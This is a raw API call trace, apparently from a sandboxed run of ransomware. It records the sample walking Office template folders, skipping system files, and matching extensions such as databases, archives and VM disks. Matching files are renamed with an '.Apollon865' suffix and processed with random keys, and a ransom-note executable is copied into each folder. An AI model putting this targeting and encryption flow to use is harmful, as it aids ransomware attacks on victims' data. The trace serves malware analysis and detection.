	[0065.289] lstrcmpiW (lpString1="Tasks.accdt", lpString2=".lnk") returned 1
	[0065.289] lstrlenW (lpString=".ini") returned 4
	[0065.289] lstrcmpiW (lpString1="Tasks.accdt", lpString2=".ini") returned 1
	[0065.289] lstrlenW (lpString=".sys") returned 4
	[0065.289] lstrcmpiW (lpString1="Tasks.accdt", lpString2=".sys") returned 1
	[0065.289] lstrlenW (lpString="Tasks.accdt") returned 11
	[0065.289] lstrlenW (lpString="bak") returned 3
	[0065.289] lstrcmpiW (lpString1="cdt", lpString2="bak") returned 1
	[0065.289] lstrlenW (lpString="ba_") returned 3
	[0065.289] lstrcmpiW (lpString1="cdt", lpString2="ba_") returned 1
	[0065.289] lstrlenW (lpString="dbb") returned 3
	[0065.289] lstrcmpiW (lpString1="cdt", lpString2="dbb") returned -1
	[0065.289] lstrlenW (lpString="vmdk") returned 4
	[0065.289] lstrcmpiW (lpString1="ccdt", lpString2="vmdk") returned -1
	[0065.289] lstrlenW (lpString="rar") returned 3
	[0065.289] lstrcmpiW (lpString1="cdt", lpString2="rar") returned -1
	[0065.289] lstrlenW (lpString="zip") returned 3
	[0065.289] lstrcmpiW (lpString1="cdt", lpString2="zip") returned -1
	[0065.289] lstrlenW (lpString="tgz") returned 3
	[0065.289] lstrcmpiW (lpString1="cdt", lpString2="tgz") returned -1
	[0065.289] lstrlenW (lpString="vbox") returned 4
	[0065.289] lstrcmpiW (lpString1="ccdt", lpString2="vbox") returned -1
	[0065.289] lstrlenW (lpString="vdi") returned 3
	[0065.289] lstrcmpiW (lpString1="cdt", lpString2="vdi") returned -1
	[0065.289] lstrlenW (lpString="vhd") returned 3
	[0065.289] lstrcmpiW (lpString1="cdt", lpString2="vhd") returned -1
	[0065.289] lstrlenW (lpString="vhdx") returned 4
	[0065.289] lstrcmpiW (lpString1="ccdt", lpString2="vhdx") returned -1
	[0065.289] lstrlenW (lpString="avhd") returned 4
	[0065.290] lstrcmpiW (lpString1="ccdt", lpString2="avhd") returned 1
	[0065.290] lstrlenW (lpString="db") returned 2
	[0065.290] lstrcmpiW (lpString1="dt", lpString2="db") returned 1
	[0065.290] lstrlenW (lpString="db2") returned 3
	[0065.290] lstrcmpiW (lpString1="cdt", lpString2="db2") returned -1
	[0065.290] lstrlenW (lpString="db3") returned 3
	[0065.290] lstrcmpiW (lpString1="cdt", lpString2="db3") returned -1
	[0065.290] lstrlenW (lpString="dbf") returned 3
	[0065.290] lstrcmpiW (lpString1="cdt", lpString2="dbf") returned -1
	[0065.290] lstrlenW (lpString="mdf") returned 3
	[0065.290] lstrcmpiW (lpString1="cdt", lpString2="mdf") returned -1
	[0065.290] lstrlenW (lpString="mdb") returned 3
	[0065.290] lstrcmpiW (lpString1="cdt", lpString2="mdb") returned -1
	[0065.290] lstrlenW (lpString="sql") returned 3
	[0065.290] lstrcmpiW (lpString1="cdt", lpString2="sql") returned -1
	[0065.290] lstrlenW (lpString="sqlite") returned 6
	[0065.290] lstrcmpiW (lpString1=".accdt", lpString2="sqlite") returned -1
	[0065.290] lstrlenW (lpString="sqlite3") returned 7
	[0065.290] lstrcmpiW (lpString1="s.accdt", lpString2="sqlite3") returned -1
	[0065.290] lstrlenW (lpString="sqlitedb") returned 8
	[0065.290] lstrcmpiW (lpString1="ks.accdt", lpString2="sqlitedb") returned -1
	[0065.290] lstrlenW (lpString="xml") returned 3
	[0065.290] lstrcmpiW (lpString1="cdt", lpString2="xml") returned -1
	[0065.290] lstrlenW (lpString="$er") returned 3
	[0065.290] lstrcmpiW (lpString1="cdt", lpString2="$er") returned 1
	[0065.290] lstrlenW (lpString="4dd") returned 3
	[0065.290] lstrcmpiW (lpString1="cdt", lpString2="4dd") returned 1
	[0065.290] lstrlenW (lpString="4dl") returned 3
	[0065.290] lstrcmpiW (lpString1="cdt", lpString2="4dl") returned 1
	[0065.290] lstrlenW (lpString="^^^") returned 3
	[0065.290] lstrcmpiW (lpString1="cdt", lpString2="^^^") returned 1
	[0065.290] lstrlenW (lpString="abs") returned 3
	[0065.290] lstrcmpiW (lpString1="cdt", lpString2="abs") returned 1
	[0065.290] lstrlenW (lpString="abx") returned 3
	[0065.291] lstrcmpiW (lpString1="cdt", lpString2="abx") returned 1
	[0065.291] lstrlenW (lpString="accdb") returned 5
	[0065.291] lstrcmpiW (lpString1="accdt", lpString2="accdb") returned 1
	[0065.291] lstrlenW (lpString="accdc") returned 5
	[0065.291] lstrcmpiW (lpString1="accdt", lpString2="accdc") returned 1
	[0065.291] lstrlenW (lpString="accde") returned 5
	[0065.291] lstrcmpiW (lpString1="accdt", lpString2="accde") returned 1
	[0065.291] lstrlenW (lpString="accdr") returned 5
	[0065.291] lstrcmpiW (lpString1="accdt", lpString2="accdr") returned 1
	[0065.291] lstrlenW (lpString="accdt") returned 5
	[0065.291] lstrcmpiW (lpString1="accdt", lpString2="accdt") returned 0
	[0065.291] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tasks.accdt.Apollon865") returned 83
	[0065.291] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tasks.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\tasks.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tasks.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\tasks.accdt.apollon865"), dwFlags=0x1) returned 1
	[0065.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tasks.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\tasks.accdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0065.299] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=45845) returned 1
	[0065.299] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.299] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0065.299] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.299] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.300] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.300] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.300] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb620, lpName=0x0) returned 0x150
	[0065.302] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb620) returned 0x100000
	[0065.305] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.306] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.306] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.306] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0065.306] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0065.306] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.306] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.306] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.306] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.306] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0065.307] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.307] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0065.307] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.307] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0065.307] CloseHandle (hObject=0x150) returned 1
	[0065.307] CloseHandle (hObject=0x118) returned 1
	[0065.307] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0065.307] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.308] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.308] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1916800, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1916800, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x8bb8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users.accdt", cAlternateFileName="USERS~1.ACC")) returned 1
	[0065.308] lstrcmpiW (lpString1="Users.accdt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0065.308] lstrcmpiW (lpString1="Users.accdt", lpString2="Apollon865.txt.exe") returned 1
	[0065.308] lstrcmpiW (lpString1="Users.accdt", lpString2=".") returned 1
	[0065.308] lstrcmpiW (lpString1="Users.accdt", lpString2="..") returned 1
	[0065.308] lstrcmpiW (lpString1="Users.accdt", lpString2="windows") returned -1
	[0065.308] lstrcmpiW (lpString1="Users.accdt", lpString2="bootmgr") returned 1
	[0065.308] lstrcmpiW (lpString1="Users.accdt", lpString2="temp") returned 1
	[0065.308] lstrcmpiW (lpString1="Users.accdt", lpString2="pagefile.sys") returned 1
	[0065.308] lstrcmpiW (lpString1="Users.accdt", lpString2="boot") returned 1
	[0065.308] lstrcmpiW (lpString1="Users.accdt", lpString2="ids.txt") returned 1
	[0065.308] lstrcmpiW (lpString1="Users.accdt", lpString2="ntuser.dat") returned 1
	[0065.308] lstrcmpiW (lpString1="Users.accdt", lpString2="perflogs") returned 1
	[0065.308] lstrcmpiW (lpString1="Users.accdt", lpString2="MSBuild") returned 1
	[0065.308] lstrlenW (lpString="Users.accdt") returned 11
	[0065.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Tasks.accdt") returned 72
	[0065.308] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="Users.accdt" | out: lpString1="Users.accdt") returned="Users.accdt"
	[0065.308] lstrlenW (lpString="Users.accdt") returned 11
	[0065.308] lstrlenW (lpString="Apollon865") returned 10
	[0065.309] lstrcmpiW (lpString1="sers.accdt", lpString2="Apollon865") returned 1
	[0065.309] lstrlenW (lpString=".dll") returned 4
	[0065.309] lstrcmpiW (lpString1="Users.accdt", lpString2=".dll") returned 1
	[0065.309] lstrlenW (lpString=".lnk") returned 4
	[0065.309] lstrcmpiW (lpString1="Users.accdt", lpString2=".lnk") returned 1
	[0065.309] lstrlenW (lpString=".ini") returned 4
	[0065.309] lstrcmpiW (lpString1="Users.accdt", lpString2=".ini") returned 1
	[0065.309] lstrlenW (lpString=".sys") returned 4
	[0065.309] lstrcmpiW (lpString1="Users.accdt", lpString2=".sys") returned 1
	[0065.309] lstrlenW (lpString="Users.accdt") returned 11
	[0065.309] lstrlenW (lpString="bak") returned 3
	[0065.309] lstrcmpiW (lpString1="cdt", lpString2="bak") returned 1
	[0065.309] lstrlenW (lpString="ba_") returned 3
	[0065.309] lstrcmpiW (lpString1="cdt", lpString2="ba_") returned 1
	[0065.309] lstrlenW (lpString="dbb") returned 3
	[0065.309] lstrcmpiW (lpString1="cdt", lpString2="dbb") returned -1
	[0065.309] lstrlenW (lpString="vmdk") returned 4
	[0065.309] lstrcmpiW (lpString1="ccdt", lpString2="vmdk") returned -1
	[0065.309] lstrlenW (lpString="rar") returned 3
	[0065.309] lstrcmpiW (lpString1="cdt", lpString2="rar") returned -1
	[0065.309] lstrlenW (lpString="zip") returned 3
	[0065.309] lstrcmpiW (lpString1="cdt", lpString2="zip") returned -1
	[0065.309] lstrlenW (lpString="tgz") returned 3
	[0065.309] lstrcmpiW (lpString1="cdt", lpString2="tgz") returned -1
	[0065.309] lstrlenW (lpString="vbox") returned 4
	[0065.309] lstrcmpiW (lpString1="ccdt", lpString2="vbox") returned -1
	[0065.309] lstrlenW (lpString="vdi") returned 3
	[0065.309] lstrcmpiW (lpString1="cdt", lpString2="vdi") returned -1
	[0065.309] lstrlenW (lpString="vhd") returned 3
	[0065.309] lstrcmpiW (lpString1="cdt", lpString2="vhd") returned -1
	[0065.309] lstrlenW (lpString="vhdx") returned 4
	[0065.309] lstrcmpiW (lpString1="ccdt", lpString2="vhdx") returned -1
	[0065.309] lstrlenW (lpString="avhd") returned 4
	[0065.309] lstrcmpiW (lpString1="ccdt", lpString2="avhd") returned 1
	[0065.310] lstrlenW (lpString="db") returned 2
	[0065.310] lstrcmpiW (lpString1="dt", lpString2="db") returned 1
	[0065.310] lstrlenW (lpString="db2") returned 3
	[0065.310] lstrcmpiW (lpString1="cdt", lpString2="db2") returned -1
	[0065.310] lstrlenW (lpString="db3") returned 3
	[0065.310] lstrcmpiW (lpString1="cdt", lpString2="db3") returned -1
	[0065.310] lstrlenW (lpString="dbf") returned 3
	[0065.310] lstrcmpiW (lpString1="cdt", lpString2="dbf") returned -1
	[0065.310] lstrlenW (lpString="mdf") returned 3
	[0065.310] lstrcmpiW (lpString1="cdt", lpString2="mdf") returned -1
	[0065.310] lstrlenW (lpString="mdb") returned 3
	[0065.310] lstrcmpiW (lpString1="cdt", lpString2="mdb") returned -1
	[0065.310] lstrlenW (lpString="sql") returned 3
	[0065.310] lstrcmpiW (lpString1="cdt", lpString2="sql") returned -1
	[0065.310] lstrlenW (lpString="sqlite") returned 6
	[0065.310] lstrcmpiW (lpString1=".accdt", lpString2="sqlite") returned -1
	[0065.310] lstrlenW (lpString="sqlite3") returned 7
	[0065.310] lstrcmpiW (lpString1="s.accdt", lpString2="sqlite3") returned -1
	[0065.310] lstrlenW (lpString="sqlitedb") returned 8
	[0065.310] lstrcmpiW (lpString1="rs.accdt", lpString2="sqlitedb") returned -1
	[0065.310] lstrlenW (lpString="xml") returned 3
	[0065.310] lstrcmpiW (lpString1="cdt", lpString2="xml") returned -1
	[0065.310] lstrlenW (lpString="$er") returned 3
	[0065.310] lstrcmpiW (lpString1="cdt", lpString2="$er") returned 1
	[0065.310] lstrlenW (lpString="4dd") returned 3
	[0065.310] lstrcmpiW (lpString1="cdt", lpString2="4dd") returned 1
	[0065.310] lstrlenW (lpString="4dl") returned 3
	[0065.310] lstrcmpiW (lpString1="cdt", lpString2="4dl") returned 1
	[0065.310] lstrlenW (lpString="^^^") returned 3
	[0065.310] lstrcmpiW (lpString1="cdt", lpString2="^^^") returned 1
	[0065.310] lstrlenW (lpString="abs") returned 3
	[0065.310] lstrcmpiW (lpString1="cdt", lpString2="abs") returned 1
	[0065.310] lstrlenW (lpString="abx") returned 3
	[0065.310] lstrcmpiW (lpString1="cdt", lpString2="abx") returned 1
	[0065.311] lstrlenW (lpString="accdb") returned 5
	[0065.311] lstrcmpiW (lpString1="accdt", lpString2="accdb") returned 1
	[0065.311] lstrlenW (lpString="accdc") returned 5
	[0065.311] lstrcmpiW (lpString1="accdt", lpString2="accdc") returned 1
	[0065.311] lstrlenW (lpString="accde") returned 5
	[0065.311] lstrcmpiW (lpString1="accdt", lpString2="accde") returned 1
	[0065.311] lstrlenW (lpString="accdr") returned 5
	[0065.311] lstrcmpiW (lpString1="accdt", lpString2="accdr") returned 1
	[0065.311] lstrlenW (lpString="accdt") returned 5
	[0065.311] lstrcmpiW (lpString1="accdt", lpString2="accdt") returned 0
	[0065.311] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Users.accdt.Apollon865") returned 83
	[0065.311] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Users.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\users.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Users.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\users.accdt.apollon865"), dwFlags=0x1) returned 1
	[0065.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\Users.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\users.accdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0065.312] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=35768) returned 1
	[0065.312] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.312] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0065.312] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.312] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.313] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.313] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.313] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8ec0, lpName=0x0) returned 0x150
	[0065.314] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8ec0) returned 0x100000
	[0065.317] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.318] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.318] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.318] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0065.318] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0065.318] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.318] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.318] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.318] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.318] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0065.318] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.318] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0065.318] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.318] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0065.319] CloseHandle (hObject=0x150) returned 1
	[0065.319] CloseHandle (hObject=0x118) returned 1
	[0065.319] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0065.319] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.319] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.319] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1916800, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1916800, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x8bb8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users.accdt", cAlternateFileName="USERS~1.ACC")) returned 0
	[0065.319] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0065.319] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc10
	[0065.319] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType"
	[0065.319] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0065.319] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0065.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType") returned 64
	[0065.320] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType"
	[0065.320] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0065.320] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0065.328] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0065.328] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3f029110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3f029110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0065.328] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.328] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0065.328] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0065.328] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3f029110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3f029110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.328] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.328] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0065.328] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0065.328] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0065.328] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2224d200, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2224d200, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x1141, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Address.accft", cAlternateFileName="ADDRES~1.ACC")) returned 1
	[0065.328] lstrcmpiW (lpString1="Address.accft", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.328] lstrcmpiW (lpString1="Address.accft", lpString2="Apollon865.txt.exe") returned -1
	[0065.328] lstrcmpiW (lpString1="Address.accft", lpString2=".") returned 1
	[0065.328] lstrcmpiW (lpString1="Address.accft", lpString2="..") returned 1
	[0065.328] lstrcmpiW (lpString1="Address.accft", lpString2="windows") returned -1
	[0065.328] lstrcmpiW (lpString1="Address.accft", lpString2="bootmgr") returned -1
	[0065.328] lstrcmpiW (lpString1="Address.accft", lpString2="temp") returned -1
	[0065.329] lstrcmpiW (lpString1="Address.accft", lpString2="pagefile.sys") returned -1
	[0065.329] lstrcmpiW (lpString1="Address.accft", lpString2="boot") returned -1
	[0065.329] lstrcmpiW (lpString1="Address.accft", lpString2="ids.txt") returned -1
	[0065.329] lstrcmpiW (lpString1="Address.accft", lpString2="ntuser.dat") returned -1
	[0065.329] lstrcmpiW (lpString1="Address.accft", lpString2="perflogs") returned -1
	[0065.329] lstrcmpiW (lpString1="Address.accft", lpString2="MSBuild") returned -1
	[0065.329] lstrlenW (lpString="Address.accft") returned 13
	[0065.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\*") returned 66
	[0065.329] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Address.accft" | out: lpString1="Address.accft") returned="Address.accft"
	[0065.329] lstrlenW (lpString="Address.accft") returned 13
	[0065.329] lstrlenW (lpString="Apollon865") returned 10
	[0065.329] lstrcmpiW (lpString1="ress.accft", lpString2="Apollon865") returned 1
	[0065.329] lstrlenW (lpString=".dll") returned 4
	[0065.329] lstrcmpiW (lpString1="Address.accft", lpString2=".dll") returned 1
	[0065.329] lstrlenW (lpString=".lnk") returned 4
	[0065.329] lstrcmpiW (lpString1="Address.accft", lpString2=".lnk") returned 1
	[0065.329] lstrlenW (lpString=".ini") returned 4
	[0065.329] lstrcmpiW (lpString1="Address.accft", lpString2=".ini") returned 1
	[0065.329] lstrlenW (lpString=".sys") returned 4
	[0065.329] lstrcmpiW (lpString1="Address.accft", lpString2=".sys") returned 1
	[0065.329] lstrlenW (lpString="Address.accft") returned 13
	[0065.329] lstrlenW (lpString="bak") returned 3
	[0065.329] lstrcmpiW (lpString1="cft", lpString2="bak") returned 1
	[0065.329] lstrlenW (lpString="ba_") returned 3
	[0065.329] lstrcmpiW (lpString1="cft", lpString2="ba_") returned 1
	[0065.329] lstrlenW (lpString="dbb") returned 3
	[0065.329] lstrcmpiW (lpString1="cft", lpString2="dbb") returned -1
	[0065.329] lstrlenW (lpString="vmdk") returned 4
	[0065.329] lstrcmpiW (lpString1="ccft", lpString2="vmdk") returned -1
	[0065.329] lstrlenW (lpString="rar") returned 3
	[0065.329] lstrcmpiW (lpString1="cft", lpString2="rar") returned -1
	[0065.329] lstrlenW (lpString="zip") returned 3
	[0065.329] lstrcmpiW (lpString1="cft", lpString2="zip") returned -1
	[0065.330] lstrlenW (lpString="tgz") returned 3
